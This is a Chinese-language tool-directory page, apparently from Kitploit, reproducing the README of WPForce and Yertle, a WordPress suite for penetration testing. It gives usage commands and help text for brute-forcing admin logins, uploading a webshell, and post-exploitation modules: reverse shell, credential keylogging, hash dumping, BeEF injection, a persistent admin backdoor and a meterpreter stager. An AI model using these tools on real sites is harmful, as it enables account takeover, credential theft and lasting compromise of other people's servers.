Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WPForce — WordPress 攻击套件 | Kitploit
工具/GitHubGitHub/n00py/wpforce
密码攻击Payload生成Web应用程序漏洞利用后渗透利用渗透测试
GitHubn00py/wpforce

WPForce

WordPress 攻击套件

查看仓库
9792235年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

Supported Python versions

WPForce - Wordpress 攻击套件

关于:

WPForce 是一套 Wordpress 攻击工具。目前包含2个脚本 - WPForce(通过 API 暴力破解登录)和 Yertle(在管理凭据找到后上传 Webshell)。Yertle 还包含一些后利用模块。

更多信息请访问博客文章: https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/

其他语言博客:

中文 - www.mottoin.com/100381.html

葡萄牙语 - http://www.100security.com.br/wpforce/

西班牙语 - http://www.1024megas.com/2017/05/wpforce-fuerzabruta-postexplotacion.html

https://esgeeks.com/como-hackear-sitio-wordpress-con-wpforce/

俄语 - https://hackware.ru/?p=2547

法语 - https://securityhack3r.info/wpforce-brute-force-attack-tool-wordpress/

土耳其语 - http://turkhackteam.org/web-server-guvenligi/1655005-wordpress-site-sizma-testi-part-1-a.html

特点:

  • 通过 API 进行暴力破解,而非登录表单,可绕过某些形式的保护
  • 可自动上传交互式 Shell
  • 可用于生成全功能的反向 Shell
  • 转储 WordPress 密码哈希
  • 可为明文密码收集后门化认证功能
  • 在所有页面注入 BeEF Hook
  • 根据需要转向 Meterpreter

安装:

root@kitploit:~
Yertle requires the requests libary to run.
http://docs.python-requests.org/en/master/user/install/

用法:

root@kitploit:~
python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

   ,-~~-.___.       __        __ ____   _____
  / |  x     \      \ \      / /|  _ \ |  ___|___   _ __  ___  ___
 (  )        0       \ \ /\ / / | |_) || |_  / _ \ | '__|/ __|/ _ \.
  \_/-, ,----'  ____  \ V  V /  |  __/ |  _|| (_) || |  | (__|  __/
     ====      ||   \_ \_/\_/   |_|    |_|   \___/ |_|   \___|\___|
    /  \-'~;   ||     |
   /  __/~| ...||__/|-"   Brute Force Attack Tool for Wordpress
 =(  _____||________|                 ~n00py~

Username List: usr.txt (3)
Password List: pass.txt (21)
URL: http://www[website].com
--------------------------
[[email protected] : xxxxxxxxxxxxx] are valid credentials!  - THIS ACCOUNT IS ADMIN
--------------------------
--------------------------
[[email protected] : xxxxxxxxxxxx] are valid credentials!
--------------------------
 100% Percent Complete
All correct pairs:
{'[email protected]': 'xxxxxxxxxxxxx', '[email protected]': 'xxxxxxxxxxxxx'}

 -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Input file name
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist file name
  -u URL, --url URL     URL of target
  -v, --verbose         Verbose output. Show the attemps as they happen.
  -t THREADS, --threads THREADS
                        Determines the number of threads to be used, default
                        is 10
  -a AGENT, --agent AGENT
                        Determines the user-agent
  -d, --debug           This option is used for determining issues with the
                        script.


python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
     _..---.--.    __   __        _   _
   .'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
  /__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
 (____.'.-_\____)    | |  __/ |  | |_| |  __/
  (_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
   (_..)--(.._)'--'         ~n00py~
      Post-exploitation Module for Wordpress

Backdoor uploaded!
Upload Directory: ebwhbas
os-shell>



  -h, --help            show this help message and exit
  -i, --interactive     Interactive command shell
  -r, --reverse         Reverse Shell
  -t TARGET, --target TARGET
                        URL of target
  -u USERNAME, --username USERNAME
                        Admin username
  -p PASSWORD, --password PASSWORD
                        Admin password
  -li IP, --ip IP       Listener IP
  -lp PORT, --port PORT
                        Listener Port
  -v, --verbose         Verbose output.
  -e EXISTING, --existing EXISTING
                        Skips uploading a shell, and connects to existing
                        shell


Yertle 当前包含以下模块:

root@kitploit:~
Core Commands
=============
 
Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
dbcreds                   Prints the database credentials
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
persist                   Creates an admin account that will re-add itself
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page
下载工具